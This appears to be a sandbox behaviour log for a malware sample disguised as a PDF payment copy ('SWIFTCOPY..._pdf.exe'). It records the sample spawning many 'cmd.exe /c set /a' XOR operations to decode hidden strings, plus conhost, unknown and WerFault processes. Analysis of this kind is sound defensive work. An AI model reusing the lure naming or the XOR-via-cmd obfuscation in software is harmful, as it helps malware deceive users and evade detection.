Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "242^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "153^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "220^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "157^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "193^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "133^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "242^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "201^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "137^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "250^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "255^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "137^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "253^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "195^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "212^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "153^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "220^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "131^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "157^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "242^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "212^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "157^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "137^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "227^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "216^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "131^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "157^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "253^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "221^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "242^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "242^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1268 -s 1092	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "240^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "250^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
